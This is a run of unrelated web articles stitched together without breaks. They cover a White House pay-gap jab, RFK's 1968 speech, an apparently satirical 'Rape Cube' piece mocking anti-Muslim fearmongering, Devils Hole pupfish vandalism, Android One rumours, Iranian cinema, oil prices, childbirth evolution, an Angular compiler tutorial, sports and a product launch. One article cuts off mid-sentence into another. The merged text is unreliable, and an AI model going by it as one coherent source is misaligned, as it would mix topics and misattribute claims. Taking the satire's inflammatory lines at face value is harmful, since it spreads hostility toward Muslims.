“At the White House, we have equal pay for equal work,” said White House spokeswoman Jessica Santillo. “Men and women in equivalent roles earn equivalent salaries....” Right. If there’s an apparent pay gap in the punching-bag private sector, it must be due to discrimination. If there’s an apparent pay gap in Democrats’ employ, it must be that we’re not comparing apples to oranges. So much for equality and fairness! As Jonah Goldberg points out (read the whole thing if you have a strong stomach), there’s a real “war on women” out there if President Obama would like to address himself to some real problems. Edit (September 5th, 2014): Transposed “thee” and “me”. AdvertisementsKick Kennedy is a writer at the Robert F. Kennedy Center for Justice and Human Rights. On this day in 1968, my grandfather, Robert F. Kennedy, shared the tragic news of Dr. Martin Luther King Jr.’s death with a crowd in downtown Indianapolis. It was the era before instant information. Most of the crowd had not heard the news. Some had. And some of these arrived with clubs and chains, preparing to riot. Mayor Richard Lugar had warned Kennedy not to speak. The local Indianapolis police refused to escort him into the ghetto. It was too dangerous, they told him. But after consulting civil rights leader John Lewis, who had organized the rally, Robert Kennedy went unguarded to address the crowd. Thirty-four cities rioted that night. Indianapolis was the only American city with a large black population that did not. I think that outcome—which observers at the time attributed at least in part to RFK’s calming presence and above all his message—still has a great deal of relevance for where our country is today, 48 years later. Story Continued Below Standing on a podium mounted on a flatbed truck, RFK began by announcing the bad news that Martin Luther King had been shot and killed. The crowd gasped audibly, but he quickly silenced them by posing a kind of moral challenge. He acknowledged that they might “be filled with bitterness, and with hatred, and a desire for revenge,” but he invoked the example of Dr. King, and he turned the crowd’s choice whether to erupt or not into a choice for the nation as well. “We can move in that direction as a country, in greater polarization—black people amongst blacks, and white amongst whites, filled with hatred toward one another,” he said. “Or we can make an effort, as Martin Luther King did, to understand, and to comprehend, and replace that violence, that stain of bloodshed that has spread across our land, with an effort to understand, compassion, and love.” And then Robert Kennedy spoke for the first time publicly about his own pain over the assassination of his brother, John F. Kennedy. “I would only say that I can also feel in my own heart the same kind of feeling. I had a member of my family killed, but he was killed by a white man,” he said. While sharing the memory of his own agonizing tragedy, RFK also hinted at how he had gotten through it and transcended his own anger and pain, appealing to the crowd’s idealism by invoking words written by a Greek poet who had been dead 2,500 years, but who had lived in the world’s first democracy. “My favorite poem, my—my favorite poet was by Aeschylus. And he once wrote: Even in our sleep, pain which cannot forget falls drop by drop upon the heart, until, in our own despair, against our will, comes wisdom through the awful grace of God.” Finally RFK called for a kind of national transcendence of racial, ethnic and generational mistrust, in words that were directed at the times he lived in—the civil rights battles and Vietnam protests of that era—but which also seem to hit us where we live today. “What we need in the United States is not division; what we need in the United States is not hatred; what we need in the United States is not violence and lawlessness, but is love, and wisdom, and compassion toward one another, and a feeling of justice toward those who still suffer within our country, whether they be white or whether they be black,” he said. “So I ask you tonight to return home, to say a prayer for the family of Martin Luther King— yeah, it's true—but more importantly to say a prayer for our own country, which all of us love—a prayer for understanding and that compassion of which I spoke.” Robert Kennedy accomplished an extraordinary feat in his last campaign by uniting blacks and working whites in a way that no American politician has since been able to replicate. He was assassinated himself two months later. Following his death, many of those working class white RFK supporters migrated to Richard Nixon’s campaign, attracted by the so called “Southern Strategy.” Nixon and his advisers devised this approach to woo working class whites who experienced civil rights advances by blacks as a social demotion. For 45 years the GOP leaders have consolidated their support through dog whistle code signals. The current campaign is shocking not for its racism, xenophobia and misogyny, but because—for the first time since George Wallace ran against RFK in 1968—those signals to our darkest angels are no longer being encrypted. It’s time to remind ourselves that the America that RFK and MLK fought for and believe in is a lot better than that.Europe’s leaders think millions of Muslim migrants can be peacefully integrated into their countries, but don’t be fooled by this multicultural myth. These Islamist invaders have no intention of assimilating. Instead, they want to transform their host nations by trapping innocent European women inside the Rape Cube, an immense robotic prison one cubic mile in size that they will build as soon as they acquire the necessary funds and resources. Why even have national borders if you’re going to let anyone walk in and perhaps figure out how to build a Rape Cube someday? Although Muslims do not yet have the technology or the billions of dollars needed to construct the Rape Cube, this is what their barbaric ideology calls for. While the rest of the world entered the modern age, Islam clung to its medieval worldview that believes Swedish women should be seized by mechanical steel claws and dropped onto a vast network of conveyor belts that will carry them through the cube to Fornication Nodes where Syrian refugees await to sexually assault them. Under Sharia law, there will be no escape from the Fornication Nodes because they’ll be guarded by flying robots called Jihadrones that can immobilize Swedes with their metallic tentacles. This is the dark future Europe faces if Muslims make some impressive advances in robotics and secure the necessary financing. It’s obvious that secular European democracy and the Rape Cube are completely incompatible. Unfortunately, in today’s regime of political correctness, apparently now it’s racist to say that you don’t want a Muslim Rape Cube looming over your country, blotting out the sun with its bulk and using magnetic tractor beams to pull passing cars and airplanes into the cube’s abduction ports so all the women can be extracted. Advertisement Liberals want to pretend that Islam doesn’t have a Rape Cube problem, that it’s just a few bad apples who wish they were genius scientist billionaires capable of such a feat of engineering. But if that’s true, why don’t Muslims ever speak out against the Rape Cube? The fact is, the majority of Muslims support building a cubic fortress that can sprout skyscraper-sized legs allowing it to march across the countryside in search of new cities to rape whenever it finishes raping everyone at its current location. Sadly, it may already be too late to save Europe, but we can still protect America from the Rape Cube. We must stop all Muslim immigration, and if the Muslim U.S. citizens already living here ever build a Rape Cube, maybe we can build a good Rape Cube to fight their evil Rape Cube. Let’s get to work. The fate of our nation depends on it.The search is on for three drunk idiots who vandalized a sensitive habitat near Death Valley, leaving one extremely endangered fish dead in their wake. On Friday, the National Park Service announced a $5,000 reward for information leading to the arrest and conviction of three men who trespassed and vandalized the Devils Hole unit of Death Valley National Park. The 40-acre site is detached from the main portion of the park, about 30 miles outside of the park boundary within Nevada's Ash Meadows National Wildlife Refuge. It contains a 500-foot deep pool in the desert that is home to the rarest fish in the world—the Devils Hole pupfish. On the evening of Saturday, April 30, the three men drove around a locked gate at Devils Hole and shot at signs, locks, and a motion sensor on the security system. One of the vandals climbed the fence that protects Devils Hole and swam in the pool, leaving behind a pair of boxers floating in the water. While the men tried to disable the cameras at the site by yanking out the wires, their shenanigans were still captured on video. They also left behind beer cans and some vomit. Abby Wines, the public information officer for the park, told LAist that they thankfully did not vomit into the water of Devils Hole. While Wines said the video footage was of low-quality, officials believe the men rode in a blue Yamaha Rhino off-road vehicle. Update [4:20]: The National Park Service has released the security camera footage of the vandals. At 0:39 you can see footage of one of the men wading in the water. The following Monday, park officials found the trash left by the three drunkards and one of the pupfish dead in the pool. According to a count from April, the pool only had 115 fish. Confined only to the top few feet of the water in Devils Hole, the pupfish population can fluctuate during the year, going as low as a few dozen to up to 500 in the summer. Officials are performing a necropsy to determine whether or not the vandalism contributed to the fish's death. Native only to that small pool in the Nevada desert, the pupfish has been at the center of the first case involving the Endangered Species Act to go to the U.S. Supreme Court. In 1976's Cappaert v. United States decision, the justices ruled against developer interests in the area that wanted to pump groundwater, which would have critically threatened the fish. As a result, the fish is closely guarded and Devils Hole fenced off. "The reason why they're under so much security is the worry that if people in the public thought a couple gallons of Clorox could fix this problem, there'd be no more Devils Hole pupfish," and thus the groundwater restrictions would be lifted, Wines told LAist. "It doesnt seem these men were motivated by that because they could easily done that. They were most likely just drunk." Thankfully, Wines says the damage is only superficial and the vandalism and the death of the fish will not affect the conservation of the Devils Hole pupfish in the long term. The Devils Hole pupfish is the smallest of several pupfish species in the Southwest deserts (many of which are also endangered), growing to no more than an inch long. They are believed to be what remains of what used to be a much wetter environment in the Death Valley area. Anybody with information that could lead to an arrest is being asked to call the NPS Investigative Services Branch at (888) 653-0009, leave a tip online, or message them on Facebook. Update [5/10, 12:10 p.m.]: Death Valley National Park announced that the three men caught on video vandalizing Devils Hole have been identified. "The investigators thank members of the public for sending in tips and providing helpful information," officials said in a statement. "This active case continues and no further details are available at this time." The development comes after the Center for Biological Diversity announced they had tripled the reward in the case to $15,000. While the National Park Service said the cause of death for the one pupfish found dead was undetermined, analysis indicates that the time window of its death included the period in which one of the men went skinny-dipping in Devils Hole. Officials say he may have stepped on the slow-moving fish, and likely crushed their eggs.Today we got our first look at an Android One-branded Moto X4 from the ever-reliable Evan Blass, but here’s something you might not be aware of: we’ve been tracking this story here at 9to5Google for more than half a year now. The first rumors of the program’s launch in the US popped up back in January, and a few months later we got a sizable dump of information about the program from a source, some of which we published in April. So what’s happening? How has Android One changed? Is the Moto X4 going to be the first Android One phone for the United States? Deal: Get Pixelbook at 25% off: $750! The initial report on Android One’s US launch Let’s start with the report from The Information in January of this year that said Android One was coming to the US. It’s worth mentioning before we even talk about the details that The Information has one of the most solid track records in the industry, and the reporter that wrote this story, Amir Efrati, has a great track record with Google. For a couple examples among many, he reported that Huawei would be making the Nexus 6P several months before its launch and detailed Waymo scaling back its self-driving efforts. The report said that Android One would be coming to the US sometime in the “middle” of 2017 with a device priced roughly in the $200-300 range. The report argued that adoption of One in developing markets had yet to be successful and that moving into the established market for $200-300 unlocked devices in the US would make more sense and come with a greater possibility for growth. Efrati said that devices in this program would get a Nexus-like promise of two years of software and security updates, and it would ensure that Google’s services — like Maps, Photos, and others — are not replaced by competitors. Efrati said that LG was a possible partner to make Android One devices, but he didn’t mention specifics. He said Google would be funding ad campaign for the phones. Our follow-up details, and the Moto X4 A few months later, a source that we’re fairly confident in at this point gave us some more details on this program and its forthcoming US launch. In that report, we corroborated Amir’s post that Android One would indeed be launching in the United States, and we were the first to report that the phones would work with Project Fi (a piece of the story which Evan Blass later corroborated, although he perhaps didn’t know it yet). We also said the phones would be relatively affordable, we said the Moto X4 was one of two most likely contenders (or perhaps the only contender, because we still don’t know what the HTC device we mentioned actually is) we said that launch device would be priced around $400 (or perhaps even lower), and we said Efrati was wrong on the launch window: more likely to be October or November rather than Summer. It looks like we were right on that point. The same source that gave us this information now tells us that he’s sticking with it: the Moto X4 is the first Android One phone for the US. But that’s all information from a reliable reporter and our own source, not from the source — Google — itself. What has the Mountain View company had to say about Android One and how it has changed in recent years? There’s an abundantly common misconception that Android One is all about budget devices in developing countries (which would make a US launch seem nonsensical at first glance, admittedly), but is that really true? Android One isn’t what it once was Thankfully, Google’s VP of Android and Google Play Sameer Samat talked a lot about that in an interview with All About Android at Google I/O 2017, which many people missed: “Android One is a program that we started a while ago, a couple years ago, and it did three things. One is that is it specified hardware. So we said look, we’re going to work with some manufacturers, and here’s the hardware specs that you should use. The second thing it did is it said if you want to put the Android One brand on a device, you need to have the Google UI on the phone. And the third thing is that if you want to use the Android One brand, you need to commit to regular security updates.” So this was the three-tier story that Google was telling with the Android One brand when it launched a couple of years ago. Now, how has that changed since? Samat goes on, emphasis ours: “We learned a few things. One thing we learned is that there’s a set of users out there that really like the Google UI and that really want security updates, and they aren’t just at the entry-level. There are at mid-tier and high-end devices that people wanted to have all those things. So we changed the program; we aren’t specifying the hardware anymore. We recommend hardware, but manufacturers are able to pick whatever hardware they want. “And now Android One as a program is for the high-end, mid-tier, and entry level,” he said. “So for example, we worked with General Mobile in Turkey, they have a phone which is like $200-$250. It’s a great phone, and they sell it really well there. In Japan, Sharp and Kyocera have devices that are Android One devices $400-$500 that are not entry-level at all. But when you walk into a Y Mobile store in Japan, they have a big sign that says Android One, and the consumer understands that that’s the Google UI and updates. So we just changed the program, and that’s going really well. You can hear this all for yourself, starting around 1:00: Long story short, Google’s philosophy for Android One has changed dramatically since it launched. While the program used to be focused on bringing cheap devices with the latest security patches and a Google UI to developing countries, the latest Android One offerings have actually been mid-to-high-end phones in developed countries like Japan. Google says that this strategy of giving consumers the option of buying Google-flavored Android devices is going really well, and for the purposes of this explainer, I think it makes a lot of sense to extend that program the US. Google’s Android One lead slipped up at I/O There’s also the fact that, also at Google I/O 2017, Google’s Android One lead accidentally slipped up and referred to Android One’s US launch as something that happened in the recent past… even though it has still yet to happen. You can hear it yourself in the video we recorded of his response to my question: “The new Android One that we saw launch in the US is targeting somewhere the middle of the market,” Arpit Midha said. This part is especially interesting considering the Moto X4 targets that exact segment… somewhere in the “middle of the market” with its $400 price tag. And yet, he stated this as if it was a commonly-known fact. It could be, perhaps, that Arpit misspoke. Or maybe this ex-Google[X] lead could actually know something we don’t and accidentally let it slip. It seems more likely than ever at this point. Higher prices, wider releases The Sharp 507SH for Japan is certainly not a cheap Android phone (Y! Mobile has it listed for 2,160 yen for 24 months, which is the equivalent of around $480). That doesn’t exactly fit the old narrative of Android One being restricted to low-priced phones in developing nations. And the latest Android One entry, the Xioami Mi A1, is perhaps the most widely-launched Android One phone yet. The device shares a lot of similarity with the recently announced Mi 5X, with a 5.5-inch 1920 x 1080 Full HD display, Qualcomm Snapdragon 625 processor, 4GB of RAM, 64GB of internal storage, and a 3,080 mAh battery. And it’s said to be available in more than 40 markets: India, Taiwan, Hong Kong, Hungary, Russia, Egypt, South Africa, Mexico, and plenty more. That also doesn’t fit the old narrative. Sure, there have yet to be any Android One launches in North America, but at this point, there have been launches pretty much everywhere else. Overall, I think the point that I’m trying to get across for the skeptics of Android One’s coming launch in the US is that the Android One story has changed, and people haven’t noticed. It’s not just about developing nations getting secure stock Android phones anymore. In fact, Android Go fits that narrative better now. As Samat said at I/O, “in Japan, they have a big sign that says Android One, and the consumer understands that that’s the Google UI and updates,” and Google has seen success with this strategy. I’m fairly confident that we’ll see this Moto X4 on Android One launch in the coming months in the US with a similar mindset. Manufacturers get the benefit of Google’s marketing muscle, and the niche of consumers that want the Google UI, no bloatware, and timely security updates — albeit delivered by the manufacturer — will have a great option to go with. When? With the Pixel 2? As for the timing of the launch, I don’t know much. We’ve had one anonymous tipster with an imperfect track record tell us to expect it at the Pixel event (which is rumored to be happening in early October, specifically on the 5th according to Evan), but timelines are where most of this particular tipster’s “imperfect” track record comes from. I’m just not sure when, but the pieces are coming together to make the if seem almost certain. All I have is one source and logic, but that’s enough for me.Akdong Musician’s Lee Chan Hyuk has revealed the inspiration for their new mini album entitled “Spring,” which can also be translated as “Puberty.” On May 5, Lee Chan Hyuk and Lee Soo Hyun performed on an outdoor stage in Seoul Forest, where they also talked about their songs. Lee Chan Hyuk stated that many of his lyrics were inspired by watching his sister Lee Soo Hyun go through puberty during their two-year hiatus. When Lee Soo Hyun denied her brother’s claim, Lee Chan Hyuk quipped, “They say people going through puberty don’t realize it themselves.” Lee Soo Hyun eventually admitted to it and added, “I am nevertheless grateful for being your muse.” “Spring” came out on May 4, and covers a variety of themes, such as the experience of curiosity about the world, excitement over love and dreams, and self-consciousness. The mini album aims to capture not only the sentiments of teenagers, but also the inner adolescence of people of all ages. Source (1) (2)They say choose your enemies carefully, for you will end up most resembling them. The trap is particularly treacherous for artists living under political tyranny. One can now see the wisdom of why the leading Iranian filmmaker Abbas Kiarostami has so carefully skirted politics, even in the direst circumstances, and thus safeguarded his cinema from falling victim to that overriding wisdom. One hundred years from now, the best of Kiarostami's cinema will still mesmerise, baffle, and reward, when many other politically potent filmmakers will scarce be remembered. Kiarostami's longtime protege Jafar Panahi, however, has not heeded that wisdom, or the logic of his own mentor, and thus now seems like one of the most precious victims of the brutal theocracy he has valiantly opposed and to whose trap, alas, his cinema is falling head first. Jafar Panahi's most recent film, Parde/Closed Curtain (2013) "has won the top prize for best screenplay at the 63rd Berlin film festival". Co-directed by Kamboziya Partovi, and in defiance of a 20-year ban on filmmaking, "the winner of the 2012 Sakharov Prize for Freedom of Thought, Panahi has been held under house arrest since December 2010 for allegedly making antigovernment propaganda". Needless to say, the custodians of the Islamic republic weren't very happy with the events in Berlin: An Iranian filmmaker that was banned from making any films went ahead and made a film that won a top prize at a major European film festival. According to reports, "Iran has protested against the awarding of a Silver Bear to Jafar Panahi for his film Closed Curtain (Parde) at the 63rd Berlin film festival, the ISNA news agency reported." What would become of a filmmaker when his work of art is so crowdedly fused with the politics of his time? Cinema and politics Because of his active and courageous support for the Green Movement in Iran, Jafar Panahi has been given a prison sentence and banned from filmmaking for twenty years. Defying that ban, he has made two films - This is not a Film (2012) and Closed Curtain (2013) - both screened at Berlin Film Festival and then to an appreciable global celebration. Both these films, alas, are self-indulgent vagaries farthest removed from the masterpieces like Offside (2006), Crimson Gold (2003) or Circle (2000) that have made Panahi a global celebrity. He should have heeded the vicious sentence and stayed away from his camera for a while and not indulge, for precisely the selfsame social punch that have made his best films knife-sharp precise has now dulled the wit of the filmmaker that was once able to put it to such magnificent use. Not only physically but also mentally and emotively, Panahi is not in a position to think and film in his habitual engagement with his homeland. He is angry, and rightly so - and anger should never be the paramount sentiment when one stands behind a camera or in front of a keyboard. Given the political sentiments that film festival authorities around the globe have for Panahi, they indulge him in a political solidarity that dulls the wit of his cinematic judgment. These consolation prizes are a curse in disguise. Panahi is not the only Iranian filmmaker who has become a victim of his courageous political stands. Another major force in Iranian cinema, Mohsen Makhmalbaf, shares his fate. After years of celebrated filmmaking in his homeland, Makhmalbaf began to make films in surrounding countries - Turkey, Afghanistan, Pakistan, India, and Tajikistan - before he and his filmmaking family moved to Europe, and eventually lived initially in Paris and then London. Most recently, he has travelled to Israel and made another film, Gardener (2012) - this time in a Bahai temple. Far from his natural habitat in the urban settings of his homeland, Makhmalbaf and
I’s broadest gauge of stocks globally rose 0.3 percent after eight straight down sessions. U.S. crude prices fell as low as $29.93 before settling down 3.1 percent at $30.44 a barrel. Benchmark Brent settled down 2.2 percent at $30.86 a barrel. U.S. crude prices have fallen 17 percent in 2016 alone. Oil has been dragged lower by a glut, China’s weakening economy and stock market turmoil, as well as the strong dollar, which makes it more expensive for those using other currencies to buy oil. “The momentum is too strong to the bearish side, even if fundamentally nothing has changed,” said Dominick Chirichella, a senior partner at Energy Management Institute. The U.S. dollar rose for a third straight session as gains on Wall Street and calmer financial markets enhanced appetite for currencies that offer higher yield. The dollar rose 0.3 percent against a basket of currencies. The euro slipped 0.06 percent against the dollar. Slideshow (2 Images) U.S. Treasury prices rose in choppy trading as oil prices resumed their decline, increasing appetite for safe-haven U.S. government debt. Benchmark 10-year U.S. Treasury notes rose 13/32 in price to yield 2.112 percent, from 2.158 percent late on Monday. Spot gold dropped 0.4 percent, falling for a third straight session, but the safe-haven metal pared earlier losses.Contrary to the TV sitcom where the wife experiencing strong labor pains screams at her husband to stay away from her, women rarely give birth alone. There are typically doctors, nurses and husbands in hospital delivery rooms, and sometimes even other relatives and friends. Midwives often are called on to help with births at home. Assisted birth has likely been around for millennia, possibly dating as far back as 5 million years ago when our ancestors first began walking upright, according to University of Delaware paleoanthropologist Karen Rosenberg. She says that social assistance during childbirth is just one aspect of our evolutionary heritage that makes us distinctive as humans. Rosenberg, who is a professor and chairperson of the Department of Anthropology at the University of Delaware, presented a talk on natural selection and childbirth on Feb. 13 at the annual meeting of the American Association for the Advancement of Science in Chicago. It was part of the symposium “The Invisible Woman in Evolution: Natural Cycle and Life-Cycle Events,” which Rosenberg co-organized.* “Humans need helpers in childbirth because it is difficult and potentially dangerous,” Rosenberg says. “While it's not so risky today -- maternal mortality is low -- as recently as two generations ago, it was not uncommon to hear of women dying in childbirth.” Through fossil records and comparisons of humans with other primates, Rosenberg says that anthropologists can now show how the uniquely human traits of bipedalism, large brains, infant helplessness and social assistance all came together, resulting in the challenging and somewhat dangerous manner in which humans give birth. When our ancestors evolved to begin walking on two legs, Rosenberg says, this upright posture created a wide but short opening in the pelvis in which the baby must travel, requiring a new form of birth so that the baby could find its way through a now tight birth canal. According to Rosenberg, the average pelvic opening in women today is 13 centimeters at its largest diameter and 10 centimeters at its smallest. The average infant head is 10 centimeters from front to back, and the shoulders are 12 centimeters across. And today the birth canal is a twisty tunnel subjecting the infant to a series of complex twists and turns on its way out. “Until recently, there was a sexism in the study of evolution,” Rosenberg says. “Researchers focused on men and the tools they used in hunting, and these things were more difficult to connect to reproductive success and hence to natural selection,” she notes. “With childbirth, as well as many of the other things that happen to women -- pregnancy, nursing, menopause -- it's really easy to see how natural selection works,” Rosenberg notes. Childbirth is just one of a series of examples throughout a woman's life cycle, in which enlisting the help of other women significantly improves reproductive outcomes, according to Rosenberg. “Women take up the slack for other women when they are pregnant and nursing so that they have the energy to devote to their infants. Cooperative childcare is something in which women help each other out. Often, but not always, these helpers are post-reproductive women who have fewer of those responsibilities of their own, but may be helping out their daughters. All of this puts a great selective premium on a kind of social intelligence that many scientists think partly accounts for the increase in brain size that happened over the last two million years,” she notes. How will women and childbirth continue to evolve? Will the birth canal grow narrower, or wider? Will childbirth become more painful, or easier? Will more helpers be needed in future births? It's really anybody's guess. “Evolution doesn't have a direction,” Rosenberg says. “Knowing where we've been doesn't give us any help in where we're going. But it does help us understand what makes us human, as well as how we're connected to the natural world. ” She says she began focusing on the evolution of women and childbirth around the time she had her first child, although she doesn't think there was a connection between the two. Interestingly, her brother is an obstetrician although she and he have never conducted research together. The meeting's theme, “Our Planet and Its Life: Origins and Futures,” commemorated the 200th anniversary of Charles Darwin's birth and the 150th anniversary of the publication of his book On the Origin of Species by Means of Natural Selection.A Deep, Deep, Deep, Deep, Deep Dive into the Angular Compiler Uri Shaked Blocked Unblock Follow Following Jul 6, 2017 As you know, I love Angular, and all the magical things you can do with it, and I thought it would be an interesting challenge to take a peek into the compiler in Angular 4, try to reverse engineer it, and simulate some part of the compilation process. Working through the compiler was a great experience, and I turned a lot of what I learned into my talk at ng-conf 2017: DiY Angular Compiler. Since I enjoyed the learning and tinkering process so much, I thought it would be good to share a little of what I learned in blog-form! So now I present you with “A Deep, Deep, Deep, Deep, Deep Dive into the Angular Compiler!” And down we go! As with many of my posts, I think it’s better if you can follow along as I go, and so before we get down to business, there are a few things you’ll need to have installed on your machine before we get started if you’d like to follow along: First, you’ll need node.js and npm (or yarn) installed on your system. You also need the latest Angular CLI (version 1.2.0 or newer). To check your Angular CLI version type: ng -v Your result should look like this (or similar): @angular/cli: 1.2.0 Otherwise, install the latest Angular CLI: npm i -g @angular/cli We will also use another great tool, source-map-explorer. If you don’t have it, you can install it by running: npm i -g source-map-explorer Isolating the Compiler To begin our deep (deep, deep, deep…) dive into the Angular Compiler, let’s create a new project to play with. Go into some directory and type: ng new compiler-playground This will take a few minutes, but you will end up with a new angular project in the compiler-playground directory. Go into that directory and then type: ng build This will create a dist folder with the compiled application. You’ll notice though that the size of the resulting JavaScript files is quite big: if we look inside the dist folder, we will see a vendor.bundle.js file which is about 2 megs in size. This is obviously not ideal! Taking a peek inside this vendor.bundle.js file, we see tons of JavaScript, none of which is minified. We can actually run uglify on this file to get it significantly smaller — about 650kb. But this is still a very big file for just the plain “hello world” app. This is where source-map-explorer comes into play — it allows us to peek into the bundle and find out what makes it big. We can try that by typing: source-map-explorer dist/vendor.bundle.js Wait a few seconds, and we get an output that looks like this: We can see that the “compiler” module accounts for nearly 50% of the bundle size — that is about 1MB (or 320kb when minified) that goes down the wire for every client. Luckily, it is very easy to get rid of that compiler. Simply run: ng build -prod --sourcemaps and the compiler part will be magically removed, using a feature of angular called AoT (“Ahead of Time” compilation). AoT runs the compile step during the build process instead of inside the browser, so when you build your project for production, the compiler can disappear completely from the output, saving precious CPU cycles when the page loads in the user’s browser. Now, let’s have a look at the dist directory: the vendor JavaScript file has now been shrunk to 310kb, and using source-map-explorer we can see that the big compiler chunk is now gone: We can also easily shave off another 30% of the bundle size by removing the forms and the http modules (if we don’t use them) — I hope that in the future the build system will be smart enough to do this for us (the term for removing unused code is “tree-shaking”). Then, if we actually remove forms and http (we don’t use them) and enable compression, this file gets to be just around 79kb. Note: the numbers may be slightly different for you, depending on the exact Angular version that you are using and your setup. So what is this Angular compiler doing there? How comes we can remove it and have the app will still work? Why is it needed at the first place? To understand the role of the compiler, let’s take a tour of some of the inner working of Angular. Inside Angular: Templates and Views When we create our templates, we declare what the view should look like. Basically we use HTML language to describe the DOM structure and bind data to it. When your application starts, Angular has to create the DOM tree corresponding to your template, and populate it from data. That is, if you write <h1>{{title}}</h1> in your view, Angular has to execute code similar to this (assuming your component controller instance is called ctrl in this context): const h1Element = document.createElement('h1'); h1Element.innerText = ctrl.title; In addition, Angular has to monitor the value of the title property and update the element whenever that value changes. In AngularJS (the versions prior to “Angular,” or versions 1.x), the creation of the DOM was delegated to the browser, which parsed your HTML and created the DOM tree (that’s its job, after all), and then AngularJS would run over the DOM elements, figure out the directives and text binding expressions and replace them with the actual data (here is the code in AngularJS that actually does this). This approach introduced several problems. First of all, browsers can be inconsistent. Different browsers sometimes parse the same HTML input into different DOM structure (example), and Angular has to account for that. Also, browsers are not very good at dealing with errors — they will often try to cover up for the error by automatically closing elements or moving them around, and even if they do spit an error, they don’t tell line numbers. This makes debugging problems much more challenging, usually leading to elimination until we find the error. In addition, this means that we need a browser just for parsing our templates and rendering them into HTML that can be served to clients and displayed immediately (and also to search engines) — making server-side rendering a complicated and error prone setup (for more see here or here). Finally, for some reason, the HTML is case-insensitive when it comes to html tags names and attributes. Not only that, it does not preserve the original case, converting tag names to upper case, and attributes to lower case. You can observe this behavior by running: document.createElement('h1').nodeName And you see that you get uppercase “H1”. This is what led AngularJS to use the famous kebab-case (i.e. ng-if, ng-model, etc.) in contrast with camelCase, which is a standard in the JavaScript worlds. So if you use the browser HTML parser, we get different results on different browsers, lacking error information, can’t get server rendering and lose attribute case. That’s why we have the compiler. The compiler actually replaces the browser and parses the HTML for you. This gives us consistent parsing across all browsers, and also means it can be run in the server (since it’s just a piece of JS code that parses your templates), provide detailed error information, and preserve tag/attribute case. We also get some really awesome tooling, but more on that in a minute. The magic of the Angular Compiler: transforming your HTML templates into optimized TypeScript code which creates an equivalent DOM structure The Angular Compiler: Performance, Performance, Performance! The Angular compiler is an amazing piece of engineering, as we are going to see soon. There is a good reason it is more than 1MB of code, and is the result of more than a year of hard work by the Angular team — not only does it parse the code templates for you, it also creates a highly-performing code, tuned to creating and updating the DOM with minimum CPU and memory overhead. The goal of adding the compiler was (and still is) to achieve a small memory footprint, quick page load and fast change detection. Here is a link to the research done prior to implementing the compiler in Angular 4: Generating Less Code. In the meantime, the Angular team is working hard on better tooling and integration with the Closure compiler, a tool that applies aggressive optimizations to JavaScript code, resulting in even smaller bundles and faster execution time. That’s what I love about Angular — there is a great, brilliant team behind it that keeps improving the internals all the time, so our apps just get faster and also get better, just like fine wine. And we get to benefit from all this hard work for free! Now, let’s explore the compiler! Running the compiler Add the following line inside the “scripts” section of your package.json file: "scripts": { ..., "compile": "ngc" } Then run: npm run compile Wait a few seconds, and you will notice that a lot of files have been created inside your project folder. Your app.component.html file has been transformed into app.component.ngfactory.ts, your app.module.ts resulted in app.module.ngfactory.ts, and your CSS files have been turned into shims. We are going to have a look inside each of these now. Components (View Creation & Change Detection) 🎥: 00:27:00, if you want to follow along :)He noted that one of his personal energy investments, in a company called Terrapower that is developing a new nuclear reactor design, is not likely to pay off before 2030 at the earliest, if it ever pays off at all. “It’s a ridiculously long time period, even for a health care type intervention, to try and think, hey, we’re doing this great work so that we have this tool for 25 years from now,” he said. “But I’m really glad the work is being done. It has some meaningful chance of being able to help us with the climate problem.” One of the biggest challenges, Mr. Gates noted, is meeting the needs for vastly more energy in urbanizing developing countries like India. He said even the rapid spread of current renewable energy options wouldn’t be able to meet that demand, particularly given the lack of related technologies like cheap, large-scale energy storage systems. ~~ Times readers are invited to submit questions for Mr. Gates, who will be available on Tuesday to provide answers. Visit Dot Earth to watch and read the complete interview and examine a range of other views on driving a global energy transition.TORONTO – The door is still open for Jarome Iginla to skate for a third Olympic gold medal, but the future Hall of Famer needs to get moving. “As good a player as Jarome has been, as good a man as he is, if he’s not playing, it’s hard to give yourself opportunity for a fair evaluation, quite honestly, of what he might be able to do in the Olympic Games,” Tom Renney, president and CEO of Hockey Canada, said Wednesday morning at Team Canada’s Nike jersey unveiling event in Toronto. “It’s tough to go from zero to 60 as a 40-year-old.” Iginla was integral to Canada’s golden Olympic teams in 2002, and 2010, where he famously set up Sidney Crosby’s championship overtime winner, but has sat dormant on the NHL’s list of unrestricted free agents. He has not announced his retirement. The Edmonton native was invited to suit up for Canada’s national team at November’s Olympic tune-up tournament, the Karjala Cup in Helsinki, but declined. The winger recently underwent a procedure to clean up loose particles in his hip. Prime Time Sports Canada's GM Preparing For Pyeongchang October 31 2017 Your browser does not support the audio element. Following Helsinki, the next major step in Canada’s roster evaluation is Moscow’s Channel One Cup in mid-December. If he still holds 2018 Olympic dreams, it’s safe to assume Iginla would need to be active by then. Iginla scored 14 goals and 13 assists — low totals, by his standards — in 80 games for the Los Angeles Kings and Colorado Avalanche in 2016-17. “Jarome is going to have to be playing hockey,” Renney asserted. “It’s one thing to talk about names that could play. If those people aren’t playing….” The sentence hung unfinished. “We’ve talked to Jarome, we’ve talked to Shane Doan … only to get their feel on things and to give them an opportunity to understand where we are in the grand scheme of things and how we want to approach this so there are no surprises.” Renney is hesitant to name any locks for Canada’s roster, saying that the decision-makers are still very much in a selection process for their first non-NHL roster since 1994. “To tip my hat one way or another on who might have the inside track, I don’t think it’s appropriate for a group of guys doing everything they can to make this team,” Renney said. Hockey Canada’s brass has been scouting high achievers in the NCAA and has broached the topic of adding junior players, specifically forwards, to its Olympic roster with the Canadian Hockey League. The sides have begun to outline what the process of loaning a CHL player to the Olympic team might look like. But Renney said Wednesday the chances of a junior player securing a spot on the men’s national squad are slim. “[The CHL] is a league we pay attention to and look at. Personally, I believe it’s a long shot. These are young players, and we believe this is an adult tournament,” Renney said. “We’ll watch Canadian Hockey League players in due time. We have an idea who they might be, but we’re not really focusing on that at this point in time. They have their own hockey to play. We don’t want to be a distraction to anybody at all.” With no NHL stars to draw upon, the Canadian men are believed to be in tough to defend their back-to-back Olympic championships. “We have high expectations internally. We don’t need anyone telling us what we should or shouldn’t do,” Renney said. “We know exactly what we need to do to be a gold-medal winner.”Thanks to everyone for making this campaign a huge success! Stay connected on Facebook, Twitter, and Instagram for news and updates. Sign up at northdrinkware.com to be notified when The Oregon Pint and future glasses are available to order. Welcome to North Drinkware and the launch of our first product, The Oregon Pint. The Oregon Pint is an American-made, custom blown 16 oz. glass that has Mt. Hood - Oregon’s highest peak at 11,250 feet - molded into the base. We made The Oregon Pint because we wanted a glass with a connection to the places where we live and play. We were seeking a glass that was crafted with the same skill, care and consideration as the beer we love to drink. The 